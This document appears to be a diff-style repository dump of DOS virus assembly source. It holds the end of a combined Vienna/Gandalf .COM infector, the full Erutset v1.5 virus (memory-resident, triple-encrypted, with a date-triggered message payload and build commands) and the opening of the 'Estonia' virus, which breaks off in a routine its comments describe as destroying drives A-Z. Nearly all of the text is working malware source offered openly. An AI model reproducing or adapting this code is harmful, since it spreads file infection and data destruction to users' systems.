ADD DX,SI ;Point to \path\name
|
||||
INT 21H
|
||||
|
||||
JNB opened_ok ;If file was opened OK
|
||||
JMP fix_attr ;If it failed, restore the attributes
|
||||
|
||||
;*******************************************************************
|
||||
; Get the file date & time
|
||||
;*******************************************************************
|
||||
|
||||
opened_ok:
|
||||
MOV BX,AX
|
||||
MOV AX,OFFSET 5700H
|
||||
INT 21H
|
||||
|
||||
MOV [SI+old_tim],CX ;Save file time
|
||||
MOV [SI+ol_date],DX ;Save the date
|
||||
|
||||
;******************************************************************
|
||||
; Here's where we infect a .COM file with this virus
|
||||
;******************************************************************
|
||||
|
||||
infectcom:
|
||||
MOV AH,3FH
|
||||
MOV CX,3
|
||||
MOV DX,first_3
|
||||
; NOP ;MASM will add this NOP here
|
||||
ADD DX,SI
|
||||
INT 21H ;Save first 3 bytes into the data area
|
||||
|
||||
JB fix_time_stamp ;Quit, if read failed
|
||||
|
||||
CMP AX,3 ;Were we able to read all 3 bytes?
|
||||
JNZ fix_time_stamp ;Quit, if not
|
||||
|
||||
;******************************************************************
|
||||
; Move file pointer to end of file
|
||||
;******************************************************************
|
||||
|
||||
MOV AX,OFFSET 4202H
|
||||
MOV CX,0
|
||||
MOV DX,0
|
||||
INT 21H
|
||||
|
||||
JB fix_time_stamp ;Quit, if it didn't work
|
||||
|
||||
MOV CX,AX ;DX:AX (long int) = file size
|
||||
SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here)
|
||||
MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
|
||||
|
||||
ADD CX,OFFSET c_len_y
|
||||
MOV DI,SI ;Point DI to virus data area
|
||||
SUB DI,OFFSET c_len_x
|
||||
;Point DI to reference vir_dat, at start of pgm
|
||||
MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm
|
||||
|
||||
;*******************************************************************
|
||||
; Write virus code to file
|
||||
;*******************************************************************
|
||||
|
||||
MOV AH,40H
|
||||
|
||||
MOV_CX virlen ;Length of virus, in bytes
|
||||
|
||||
MOV DX,SI
|
||||
SUB DX,OFFSET codelen ;Length of virus code, gives starting
|
||||
; address of virus code in memory
|
||||
INT 21H
|
||||
|
||||
JB fix_time_stamp ;Jump if error
|
||||
|
||||
CMP AX,OFFSET virlen ;All bytes written?
|
||||
JNZ fix_time_stamp ;Jump if error
|
||||
|
||||
;**********************************************************************
|
||||
; Move file pointer to beginning of the file
|
||||
;**********************************************************************
|
||||
|
||||
MOV AX,OFFSET 4200H
|
||||
MOV CX,0
|
||||
MOV DX,0
|
||||
INT 21H
|
||||
|
||||
JB fix_time_stamp ;Jump if error
|
||||
|
||||
;**********************************************************************
|
||||
; Write the 3 byte JMP at the start of the file
|
||||
;**********************************************************************
|
||||
|
||||
MOV AH,40H
|
||||
MOV CX,3
|
||||
MOV DX,SI ;Virus data area
|
||||
ADD DX,jmp_op ;Point to the reconstructed JMP
|
||||
INT 21H
|
||||
|
||||
;**********************************************************************
|
||||
; Restore old file date & time, with seconds modified to 62
|
||||
;**********************************************************************
|
||||
|
||||
fix_time_stamp:
|
||||
MOV DX,[SI+ol_date] ;Old file date
|
||||
MOV CX,[SI+old_tim] ;Old file time
|
||||
AND CX,OFFSET 0FFE0H
|
||||
OR CX,1FH ;Seconds = 31/30 min = 62 seconds
|
||||
MOV AX,OFFSET 5701H
|
||||
INT 21H
|
||||
|
||||
;**********************************************************************
|
||||
; Close File
|
||||
;**********************************************************************
|
||||
|
||||
MOV AH,3EH
|
||||
INT 21H
|
||||
|
||||
;**********************************************************************
|
||||
; Restore Old File Attributes
|
||||
;**********************************************************************
|
||||
|
||||
fix_attr:
|
||||
MOV AX,OFFSET 4301H
|
||||
MOV CX,[SI+old_att] ;Old Attributes
|
||||
MOV DX,wrk_spc
|
||||
; NOP ;MASM will add this NOP
|
||||
ADD DX,SI ;DX points to \path\name in workspace
|
||||
INT 21H
|
||||
|
||||
;**********************************************************************
|
||||
; Here when it's time to close it up & end
|
||||
;**********************************************************************
|
||||
|
||||
all_done:
|
||||
PUSH DS
|
||||
|
||||
;**********************************************************************
|
||||
; Restore old DTA
|
||||
;**********************************************************************
|
||||
|
||||
MOV AH,1AH
|
||||
MOV DX,[SI+old_dta]
|
||||
MOV DS,[SI+old_dts]
|
||||
INT 21H
|
||||
|
||||
POP DS
|
||||
|
||||
;*************************************************************************
|
||||
; Clear registers used, & do a weird kind of JMP 100. The weirdness comes
|
||||
; in since the address in a real JMP 100 is an offset, and the offset
|
||||
; varies from one infected file to the next. By PUSHing an 0100H onto the
|
||||
; stack, we can RET to address 0100H just as though we JMPed there.
|
||||
;**********************************************************************
|
||||
|
||||
quit:
|
||||
POP CX
|
||||
XOR AX,AX
|
||||
XOR BX,BX
|
||||
XOR DX,DX
|
||||
XOR SI,SI
|
||||
MOV DI,OFFSET 0100H
|
||||
PUSH DI
|
||||
XOR DI,DI
|
||||
|
||||
RET 0FFFFH
|
||||
|
||||
; This is GANDALF. The second of the two viruses which the file could
|
||||
; be infected by. Gandalf, unlike Vienna, only will infect with it's
|
||||
; own code, instead of the code for both it and Vienna.
|
||||
|
||||
; Kudos to G^2 for the code for Gandalf
|
||||
; Gandalf by Ender
|
||||
|
||||
carrier:
|
||||
db 0E9h,0,0 ; jmp start
|
||||
|
||||
start:
|
||||
call next
|
||||
next:
|
||||
pop bp
|
||||
sub bp, offset next
|
||||
|
||||
mov ah, 0047h ; Get directory
|
||||
lea si, [bp+offset origdir+1]
|
||||
cwd ; Default drive
|
||||
int 0021h
|
||||
|
||||
lea dx, [bp+offset newDTA]
|
||||
mov ah, 001Ah ; Set DTA
|
||||
int 0021h
|
||||
|
||||
mov ax, 3524h
|
||||
int 0021h
|
||||
push es
|
||||
push bx
|
||||
|
||||
lea dx, [bp+INT24] ; ASSumes ds=cs
|
||||
mov ax, 2524h
|
||||
int 0021h
|
||||
|
||||
push cs
|
||||
pop es
|
||||
|
||||
restore_COM:
|
||||
mov di, 0100h
|
||||
push di
|
||||
lea si, [bp+offset old3]
|
||||
movsb
|
||||
movsw
|
||||
|
||||
mov byte ptr [bp+numinfect], 0000h
|
||||
traverse_loop:
|
||||
lea dx, [bp+offset COMmask]
|
||||
call infect
|
||||
cmp [bp+numinfect], 0007h
|
||||
jae exit_traverse ; exit if enough infected
|
||||
|
||||
mov ah, 003Bh ; CHDIR
|
||||
lea dx, [bp+offset dot_dot] ; go to previous dir
|
||||
int 0021h
|
||||
jnc traverse_loop ; loop if no error
|
||||
|
||||
exit_traverse:
|
||||
|
||||
lea si, [bp+offset origdir]
|
||||
mov byte ptr [si], '\'
|
||||
mov ah, 003Bh ; restore directory
|
||||
xchg dx, si
|
||||
int 0021h
|
||||
|
||||
pop dx
|
||||
pop ds
|
||||
mov ax, 2524h
|
||||
int 0021h
|
||||
|
||||
|
||||
mov dx, 0080h ; in the PSP
|
||||
mov ah, 001Ah ; restore DTA to default
|
||||
int 0021h
|
||||
|
||||
return:
|
||||
ret
|
||||
|
||||
old3 db 0cdh,20h,0
|
||||
|
||||
INT24:
|
||||
mov al, 0003h
|
||||
iret
|
||||
|
||||
infect:
|
||||
mov cx, 0007h ; all files
|
||||
mov ah, 004Eh ; find first
|
||||
findfirstnext:
|
||||
int 0021h
|
||||
jc return
|
||||
mov ax, 4300h
|
||||
lea dx, [bp+newDTA+30]
|
||||
int 0021h
|
||||
jc return
|
||||
push cx
|
||||
push dx
|
||||
|
||||
mov ax, 4301h ; clear file attributes
|
||||
push ax ; save for later use
|
||||
xor cx, cx
|
||||
int 0021h
|
||||
|
||||
mov ax, 3D02h
|
||||
lea dx, [bp+newDTA+30]
|
||||
int 0021h
|
||||
mov bx, ax ; xchg ax,bx is more efficient
|
||||
|
||||
mov ax, 5700h ; get file time/date
|
||||
int 0021h
|
||||
push cx
|
||||
push dx
|
||||
|
||||
mov ah, 003Fh
|
||||
mov cx, 001Ah
|
||||
lea dx, [bp+offset readbuffer]
|
||||
int 0021h
|
||||
|
||||
mov ax, 4202h
|
||||
xor cx, cx
|
||||
cwd
|
||||
int 0021h
|
||||
|
||||
cmp word ptr [bp+offset readbuffer], 'ZM'
|
||||
jz jmp_close
|
||||
mov cx, word ptr [bp+offset readbuffer+1] ; jmp location
|
||||
add cx, heap-start+3 ; convert to filesize
|
||||
cmp ax, cx ; equal if already infected
|
||||
jl skipp
|
||||
jmp_close:
|
||||
jmp close
|
||||
skipp:
|
||||
|
||||
cmp ax, 65535-(endheap-start) ; check if too large
|
||||
ja jmp_close ; Exit if so
|
||||
|
||||
cmp ax, (heap-start) ; check if too small
|
||||
jb jmp_close ; Exit if so
|
||||
|
||||
lea si, [bp+offset readbuffer]
|
||||
lea di, [bp+offset old3]
|
||||
movsb
|
||||
movsw
|
||||
|
||||
sub ax, 0003h
|
||||
mov word ptr [bp+offset readbuffer+1], ax
|
||||
mov dl, 00E9h
|
||||
mov byte ptr [bp+offset readbuffer], dl
|
||||
lea dx, [bp+offset start]
|
||||
mov ah, 0040h ; concatenate virus
|
||||
mov cx, heap-start
|
||||
int 0021h
|
||||
|
||||
xor cx, cx
|
||||
mov ax, 4200h
|
||||
xor dx, dx
|
||||
int 0021h
|
||||
|
||||
|
||||
mov cx, 0003h
|
||||
lea dx, [bp+offset readbuffer]
|
||||
mov ah, 0040h
|
||||
int 0021h
|
||||
|
||||
inc [bp+numinfect]
|
||||
|
||||
close:
|
||||
mov ax, 5701h ; restore file time/date
|
||||
pop dx
|
||||
pop cx
|
||||
int 0021h
|
||||
|
||||
mov ah, 003Eh
|
||||
int 0021h
|
||||
|
||||
pop ax ; restore file attributes
|
||||
pop dx ; get filename and
|
||||
pop cx ; attributes from stack
|
||||
int 0021h
|
||||
|
||||
mov ah, 004Fh ; find next
|
||||
jmp findfirstnext
|
||||
|
||||
; Data for Gandalf Virus
|
||||
author db 'Entwives: Two-in-one G by Ender'
|
||||
COMmask db '*.COM',0
|
||||
dot_dot db '..',0
|
||||
|
||||
heap:
|
||||
newDTA db 43 dup (?)
|
||||
origdir db 65 dup (?)
|
||||
numinfect db ?
|
||||
readbuffer db 1ah dup (?)
|
||||
endheap:
|
||||
|
||||
; Data from the Vienna virus
|
||||
;************************************************************************
|
||||
;The virus data starts here. It's accessed off the SI register, per the
|
||||
; comments as shown
|
||||
;************************************************************************
|
||||
|
||||
vir_dat EQU $
|
||||
|
||||
;Use this with (SI + old_dta)
|
||||
olddta_ DW 0 ;Old DTA offset
|
||||
|
||||
;Use this with (SI + old_dts)
|
||||
olddts_ DW 0 ;Old DTA segment
|
||||
|
||||
;Use this with (SI + old_tim)
|
||||
oldtim_ DW 0 ;Old Time
|
||||
|
||||
;Use this with (SI + ol_date)
|
||||
oldate_ DW 0 ;Old date
|
||||
|
||||
;Use this with (SI + old_att)
|
||||
oldatt_ DW 0 ;Old file attributes
|
||||
|
||||
;Here's where the first three bytes of the original .COM file go.(SI + first_3)
|
||||
|
||||
first3_ EQU $
|
||||
INT 20H
|
||||
NOP
|
||||
|
||||
;Here's where the new JMP instruction is worked out
|
||||
|
||||
;Use this with (SI + jmp_op)
|
||||
jmpop_ DB 0E9H ;Start of JMP instruction
|
||||
|
||||
;Use this with (SI + jmp_dsp)
|
||||
jmpdsp_ DW 0 ;The displacement part
|
||||
|
||||
;This is the type of file we're looking to infect. (SI + f_spec)
|
||||
|
||||
fspec_ DB '*.COM',0
|
||||
|
||||
;Use this with (SI + path_ad)
|
||||
pathad_ DW 0 ;Path address
|
||||
|
||||
;Use this with (SI + nam_ptr)
|
||||
namptr_ DW 0 ;Pointer to start of file name
|
||||
|
||||
;Use this with (SI + env_str)
|
||||
envstr_ DB 'PATH=' ;Find this in the environment
|
||||
|
||||
;File name workspace (SI + wrk_spc)
|
||||
wrkspc_ DB 40h dup (0)
|
||||
|
||||
;Use this with (SI + dta)
|
||||
dta_ DB 16h dup (0) ;Temporary DTA goes here
|
||||
|
||||
;Use this with (SI + dta_tim)
|
||||
dtatim_ DW 0,0 ;Time stamp in DTA
|
||||
|
||||
;Use this with (SI + dta_len)
|
||||
dtalen_ DW 0,0 ;File length in the DTA
|
||||
|
||||
;Use this with (SI + dta_nam)
|
||||
dtanam_ DB 0Dh dup (0) ;File name in the DTA
|
||||
|
||||
creditauthor DB "Entwives: Two-in-one V by Ender" ; My credit
|
||||
|
||||
lst_byt EQU $ ;All lines that assemble into code are
|
||||
; above this one
|
||||
|
||||
;*****************************************************************************
|
||||
;The virus needs to know a few details about its own size and the size of its
|
||||
; code portion. Let the assembler figure out these sizes automatically.
|
||||
;*****************************************************************************
|
||||
|
||||
virlen = lst_byt - v_start ;Length, in bytes, of the entire virus
|
||||
codelen = vir_dat - v_start ;Length of virus code, only
|
||||
c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code
|
||||
c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP
|
||||
|
||||
;*****************************************************************************
|
||||
;Because this code is being appended to the end of an executable file, the
|
||||
; exact address of its variables cannot be known. All are accessed as offsets
|
||||
; from SI, which is represented as vir_dat in the below declarations.
|
||||
;*****************************************************************************
|
||||
|
||||
old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset
|
||||
old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment
|
||||
old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp
|
||||
ol_date = oldate_ - vir_dat ;Displacement to old file date stamp
|
||||
old_att = oldatt_ - vir_dat ;Displacement to old attributes
|
||||
first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM
|
||||
jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode
|
||||
jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP
|
||||
f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string
|
||||
path_ad = pathad_ - vir_dat ;Displacement to the path address
|
||||
nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer
|
||||
env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string
|
||||
wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace
|
||||
dta = dta_ - vir_dat ;Displacement to the temporary DTA
|
||||
dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA
|
||||
dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA
|
||||
dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA
|
||||
|
||||
CODE ENDS
|
||||
END VCODE
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,337 @@
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; Erutset v1.5 coded by KilJaeden of the Codebreakers 1998 ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; Description: `-------------------| Started: 19/06/98 | Finished: 19/06/98 ;
|
||||
; `-------------------^------------------- ;
|
||||
; v1.0 - Memory resident .com appender, infects upon execution | Size: 637 ;
|
||||
; v1.1 - restores time/date & attributes also infects readonly `---------- ;
|
||||
; v1.2 - now has a single layer of XOR,NEG,ROR encryption ;
|
||||
; v1.3 - added a second layer of XOR,NEG,NOT,ROR,ROL encryption ;
|
||||
; v1.4 - added a third layer of XOR,NEG,NOT,ROR,ROL encryption ;
|
||||
; v1.5 - added a small payload, prints a string and waits for keypress ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; --------> Dedicated to the hate of all the '31337 h4x0rs' on IRC <------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; to compile ::] tasm erutset.asm ;
|
||||
; to link :::::] tlink /t erutset.obj ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
code segment ; name our segment 'code'
|
||||
assume cs:code,ds:code ; assign CS and DS to code
|
||||
org 100h ; this be a .com file
|
||||
.286 ; needed for pusha/popa
|
||||
jumps ; save space wasted jumping
|
||||
|
||||
blank: db 0e9h,0,0 ; jump to start of code
|
||||
start: call delta ; push IP on to stack
|
||||
delta: pop bp ; pop it into bp
|
||||
sub bp,offset delta ; get the delta offset
|
||||
|
||||
decr: jmp once ; jump to once (overwritten)
|
||||
lea si,[bp+encd] ; load the source index up
|
||||
mov di,si ; move it into DI
|
||||
call encr ; decrypt the 1st layer
|
||||
|
||||
; --------------------( Start Of 1st Encryption Blanket )------------------ ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
encd: lea si,[bp+d_encd] ; load the source index up
|
||||
mov di,si ; move it into DI again
|
||||
mov cx,d_encr-d_encd ; # of bytes to decrypt
|
||||
call d_encr ; decrypt the 2nd layer
|
||||
|
||||
; --------------------( Start Of 2nd Encryption Blanket )------------------ ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
d_encd: lea si,[bp+t_encd] ; load the source index up
|
||||
mov di,si ; move it into DI again
|
||||
mov cx,t_encr-t_encd ; # of bytes to decrypt
|
||||
call t_encr ; decrypt the 3rd layer
|
||||
|
||||
; --------------------( Start Of 3rd Encryption Blanket )------------------ ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
t_encd: call pload ; check if payload time
|
||||
|
||||
mov ax,0deadh ; check if already resident
|
||||
int 21h ; if we are, bx = 0deadh now
|
||||
cmp bx,0deadh ; does bx hold 0deadh ?
|
||||
je first3 ; we are already resident!
|
||||
|
||||
sub word ptr cs:[2],80h ; lower top of PSP mem data
|
||||
mov ax,cs ; move CS into AX
|
||||
dec ax ; decrement AX
|
||||
mov ds,ax ; move AX into DS
|
||||
sub word ptr ds:[3],80h ; sub 2kb from accessed MCB
|
||||
xor ax,ax ; xor the value in ax to 0
|
||||
mov ds,ax ; move that value into DS
|
||||
sub word ptr ds:[413h],2 ; adjust BIOS data by 2kb
|
||||
mov ax,word ptr ds:[413h] ; move adjusted BIOS data
|
||||
mov cl,6 ; load cl with value of 6
|
||||
shl ax,cl ; multiply BIOS mem by 64
|
||||
mov es,ax ; move value into ES
|
||||
push cs ; push value of code segment
|
||||
pop ds ; into data segment register
|
||||
xor di,di ; xor value in DI to 0
|
||||
lea si,[bp+start] ; load the source index
|
||||
mov cx,finished-start ; # of bytes to load up
|
||||
rep movsb ; load virus into memory
|
||||
|
||||
xor ax,ax ; value in ax to 0
|
||||
mov ds,ax ; move value into DS
|
||||
lea ax,isr ; point IVT to new ISR
|
||||
sub ax,offset start ; subtract start offset
|
||||
mov bx,es ; move es into bx
|
||||
|
||||
cli ; interrupts off
|
||||
xchg ax,word ptr ds:[84h] ; switch old/new int 21h
|
||||
xchg bx,word ptr ds:[86h] ; switch old/new int 21h
|
||||
mov word ptr es:[oi21-offset start],ax ; save the old int 21h
|
||||
mov word ptr es:[oi21+2-offset start],bx ; save the old int 21h
|
||||
sti ; interrupts on
|
||||
|
||||
push cs cs ; push code segment twice
|
||||
pop ds es ; into DS and ES registers
|
||||
|
||||
first3: lea si,[bp+saved] ; load up the source index
|
||||
mov di,100h ; load the destination index
|
||||
push di ; push 100h on to the stack
|
||||
movsw ; move two bytes now
|
||||
movsb ; move one byte now
|
||||
retn ; return control to host
|
||||
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
isr: pushf ; push all flags
|
||||
cmp ax,0deadh ; are we testing if resident?
|
||||
jne exec ; nope, check for execution
|
||||
mov bx,0deadh ; yup, show them we are here
|
||||
popf ; pop all flags
|
||||
iret ; pop cs:ip+flags from stack
|
||||
|
||||
exec: pusha ; push all registers
|
||||
push ds ; push data segment register
|
||||
push es ; push extra segment register
|
||||
cmp ah,4bh ; something being executed?
|
||||
je infect ; yup! infect the file
|
||||
exit: pop es ; pop ES from the stack
|
||||
pop ds ; pop DS from the stack
|
||||
popa ; pop all registers
|
||||
popf ; pop all flags
|
||||
old21: db 0eah ; jump to original ISR
|
||||
oi21 dd ? ; old int 21 goes here
|
||||
ret ; return from call
|
||||
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
infect: push bp ; save original delta offset
|
||||
call tsrdel ; push IP on to stack again
|
||||
tsrdel: pop bp ; pop it into bp
|
||||
sub bp,offset tsrdel ; get the 2nd delta offset
|
||||
|
||||
push ds ; push DS on to stack
|
||||
pop es ; pop it into es
|
||||
mov di,dx ; move file handle into di
|
||||
mov cx,64 ; 64 byte filename possible
|
||||
mov al,'.' ; load al with the .
|
||||
cld ; clear direction flag
|
||||
repnz scasb ; scan until . is hit
|
||||
cmp word ptr ds:[di],'OC' ; is the file .CO- ?
|
||||
jne abort ; not it isn't, abort
|
||||
cmp word ptr ds:[di+2],'M' ; is the file .--M ?
|
||||
jne abort ; no it isn't, abort
|
||||
|
||||
mov ax,4300h ; get file attributes
|
||||
int 21h ; get them now
|
||||
push cx ; push the attributes
|
||||
push dx ; push the file name
|
||||
|
||||
mov ax,4301h ; set file attributes
|
||||
xor cx,cx ; to no attributes at all
|
||||
int 21h ; ready for infection
|
||||
|
||||
mov ax,3d02h ; open the file read/write
|
||||
int 21h ; open the file now
|
||||
xchg bx,ax ; move the file handle
|
||||
|
||||
push cs cs ; push CS on to stack twice
|
||||
pop ds es ; pop it into DS and ES
|
||||
|
||||
mov ax,5700h ; get time/date stamps
|
||||
int 21h ; get them now
|
||||
push dx ; save the date
|
||||
push cx ; save the time
|
||||
|
||||
mov ah,3fh ; the read function
|
||||
lea dx,[bp+saved] ; record the bytes here
|
||||
mov cx,3 ; read first three bytes
|
||||
int 21h ; first three recorded
|
||||
|
||||
mov ax,4202h ; scan to end of file
|
||||
xor cx,cx ; xor value of cx to 0
|
||||
cwd ; likewize for dx
|
||||
int 21h ; DX:AX = file size now!
|
||||
|
||||
cmp dx,0 ; is the file < 65,535 bytes?
|
||||
jne close ; way to big, close it up
|
||||
mov cx,word ptr [bp+saved+1] ; move buffer+1 into cx
|
||||
add cx,finished-start+3 ; virus size + jump
|
||||
cmp ax,cx ; compare the two
|
||||
jz close ; if equal, close it up
|
||||
|
||||
sub ax,3 ; get jump to virus body size
|
||||
mov word ptr [bp+newjump+1],ax ; write as our new jump
|
||||
|
||||
mov ax,4200h ; point to start of file
|
||||
xor cx,cx ; xor value of cx to 0
|
||||
cwd ; likewize for dx
|
||||
int 21h ; pointing to SOF
|
||||
|
||||
mov ah,40h ; write to file
|
||||
mov cx,3 ; write three bytes
|
||||
lea dx,[bp+newjump] ; write the jump
|
||||
int 21h ; jump is written
|
||||
|
||||
mov ax,4202h ; point to end of file
|
||||
xor cx,cx ; xor value of cx to 0
|
||||
cwd ; likewize for dx
|
||||
int 21h ; pointing to EOF
|
||||
|
||||
lea si,[bp+start] ; load the source index
|
||||
lea di,[bp+buffer] ; load the destination index
|
||||
mov cx,finished-start ; # of bytes to put in mem
|
||||
rep movsb ; load virus into memory
|
||||
|
||||
lea di,[bp+t_encd-start+buffer] ; load the source index
|
||||
mov si,di ; load the destination index
|
||||
mov cx,t_encr-t_encd ; # of bytes to encrypt
|
||||
call t_encr ; encrypt the 1st layer
|
||||
|
||||
lea si,[bp+d_encd-start+buffer] ; load the source index
|
||||
mov di,si ; load the destination index
|
||||
mov cx,d_encr-d_encd ; # of bytes to encrypt
|
||||
call d_encr ; encrypt the 2nd layer
|
||||
|
||||
lea di,[bp+encd-start+buffer] ; load the destination index
|
||||
mov si,di ; load the source index
|
||||
mov cx,encr-encd ; # of bytes to encrypt
|
||||
call encr ; encrypt the 3rd layer
|
||||
|
||||
mov ah,40h ; write to file
|
||||
mov cx,finished-start ; # of bytes to write
|
||||
lea dx,[bp+buffer] ; write from mem
|
||||
int 21h ; write the bytes now
|
||||
|
||||
close: mov ax,5701h ; set time / date stamps
|
||||
pop cx ; restore the time
|
||||
pop dx ; restore the date
|
||||
int 21h ; time / date is restored
|
||||
|
||||
mov ax,4301h ; set file attributes
|
||||
pop dx ; for this file name
|
||||
pop cx ; with these attributes
|
||||
int 21h ; attributes are restored
|
||||
|
||||
mov ah,3eh ; close up the file
|
||||
int 21h ; file is closed
|
||||
|
||||
abort: pop bp ; pop original delta offset
|
||||
jmp exit ; point to original ISR
|
||||
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
saved db 0cdh,20h,0 ; our saved bytes
|
||||
newjump db 0e9h,0,0 ; the soon to be jump
|
||||
pldmsg db '',10,13
|
||||
db ' Infected with :: Erutset :: coded by KilJaeden of the Codebreakers 1998',10,13,'$'
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
pload: mov ah,2ah ; get system time
|
||||
int 21h ; get it now
|
||||
cmp dl,23 ; is it the 23rd?
|
||||
jne endpld ; nope, end the payload
|
||||
mov ah,09h ; print a string
|
||||
lea dx,[bp+pldmsg] ; our message
|
||||
int 21h ; print our message
|
||||
mov ah,00h ; wait for keypress
|
||||
int 16h ; make them see us
|
||||
endpld: ret ; return from call
|
||||
|
||||
; --------------------( End Of 3rd Encryption Blanket )-------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
t_encr: lodsb ; load a byte
|
||||
xor al,0C4h ;-----[1]
|
||||
ror al,4 ;----[2]
|
||||
not al ;---[3]
|
||||
neg al ;--[4]
|
||||
rol al,4 ;-[5]
|
||||
neg al ;--[4]
|
||||
not al ;---[3]
|
||||
ror al,4 ;----[2]
|
||||
xor al,0C4h ;-----[1]
|
||||
stosb ; store a byte
|
||||
loop t_encr ; do all the bytes
|
||||
ret ; return from call
|
||||
|
||||
; --------------------( End Of 2nd Encryption Blanket )-------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
d_encr: lodsb ; load a byte
|
||||
neg al ;---------[1]
|
||||
ror al,4 ;--------[2]
|
||||
not al ;-------[3]
|
||||
neg al ;------[4]
|
||||
rol al,4 ;-----[5]
|
||||
not al ;----[6]
|
||||
ror al,4 ;---[7]
|
||||
neg al ;--[8]
|
||||
xor al,069h ;-[9] encryption/decryption
|
||||
neg al ;--[8]
|
||||
ror al,4 ;---[7]
|
||||
not al ;----[6]
|
||||
rol al,4 ;-----[5]
|
||||
neg al ;------[4]
|
||||
not al ;-------[3]
|
||||
ror al,4 ;--------[2]
|
||||
neg al ;---------[1]
|
||||
stosb ; store the byte
|
||||
loop d_encr ; do all the bytes
|
||||
ret ; return from call
|
||||
|
||||
; --------------------( End Of 1st Encryption Blanket )-------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
encr: lodsb ; load a byte
|
||||
neg al ;---[1]
|
||||
ror al,4 ;--[2]
|
||||
xor al,0C4h ;-[3] encryption/decryption
|
||||
ror al,4 ;--[2]
|
||||
neg al ;---[1]
|
||||
stosb ; store the byte
|
||||
loop encr ; do all the bytes
|
||||
ret ; return from call
|
||||
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
buffer: ; save our virus in mem
|
||||
finished: ; end of the virus
|
||||
|
||||
once: lea si,[bp+new] ; load the source index
|
||||
lea di,[bp+decr] ; load the destination index
|
||||
movsw ; move two bytes
|
||||
movsb ; move one byte
|
||||
jmp t_encd ; jump to encrypted area
|
||||
new: mov cx,encr-encd ; this replaces the jump
|
||||
|
||||
code ends ; end code segment
|
||||
end blank ; end / where to start
|
||||
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; ---------> How Can You Think Freely In The Shadow Of A Church? <--------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,209 @@
|
||||
|
||||
; D A R K M A N
|
||||
; Proudly Presents
|
||||
; E S T O N I A
|
||||
|
||||
psp equ 100h
|
||||
virussize equ extracopy - code
|
||||
cryptsize equ extracopy - crypted - 01h
|
||||
dtaoffset equ 02h * virussize + psp
|
||||
filetime equ dtaoffset + 16h
|
||||
filedate equ dtaoffset + 18h
|
||||
filesize equ dtaoffset + 1ah
|
||||
filename equ dtaoffset + 1eh
|
||||
memsize equ dtaoffset + 2bh
|
||||
|
||||
estonia segment
|
||||
assume cs:estonia,ds:estonia,es:estonia
|
||||
org 100h ; Origin of COM-file
|
||||
|
||||
code:
|
||||
call viruscode
|
||||
virusid db 'ES' ; Estonia Scan-ID
|
||||
|
||||
viruscode:
|
||||
pop bp ; Load BP from stack
|
||||
sub bp,offset virusid ; BP = delta offset
|
||||
|
||||
or bp,bp ; BP = 0?
|
||||
je crypted ; Equal? Jump to crypted
|
||||
std ; Set direction flag
|
||||
lea bx,[bp+crypted] ; AX = offset encrypted code
|
||||
mov cx,02h ; Transpose 2 times
|
||||
mov dx,cryptsize ; Decrypt 350 bytes
|
||||
denexttime:
|
||||
push cx ; Save CX at stack
|
||||
mov cx,dx ; CX = size of encrypted code
|
||||
mov di,bx
|
||||
add di,dx ; DI = offset of last encrypted code
|
||||
mov si,di ; SI = offset of last encrypted code
|
||||
lodsb ; Load last plain byte
|
||||
sub [bx],al ; Subtract AL from first encrypt byte
|
||||
denextbyte:
|
||||
lodsw ; Load 2 encrypted bytes
|
||||
sub ah,al ; Subtract AL from AH
|
||||
mov al,ah ; AL = decrypted byte
|
||||
stosb ; Store a decrypted byte
|
||||
inc si ; Increase SI
|
||||
loop denextbyte
|
||||
pop cx ; Load CX from stack
|
||||
loop denexttime
|
||||
crypted:
|
||||
cld ; Clear direction flag
|
||||
mov ah,2ah ; Get system date
|
||||
int 21h ; Do it!
|
||||
cmp dx,091bh ; 27. September?
|
||||
jb dontsink ; Below? Jump to dontsink
|
||||
cmp dx,091ch ; 28. September?
|
||||
ja dontsink ; Above? Jump to dontsink
|
||||
|
||||
xor al,al ; Clear AL
|
||||
mov cx,19h ; Destroy drives A-Z
|
||||
formattrack:
|
||||
push cx ; Save CX at stack
|
||||
mov ah,2 ; Read a track
|
||||
xor cx,cx ; Clear CX
|
||||
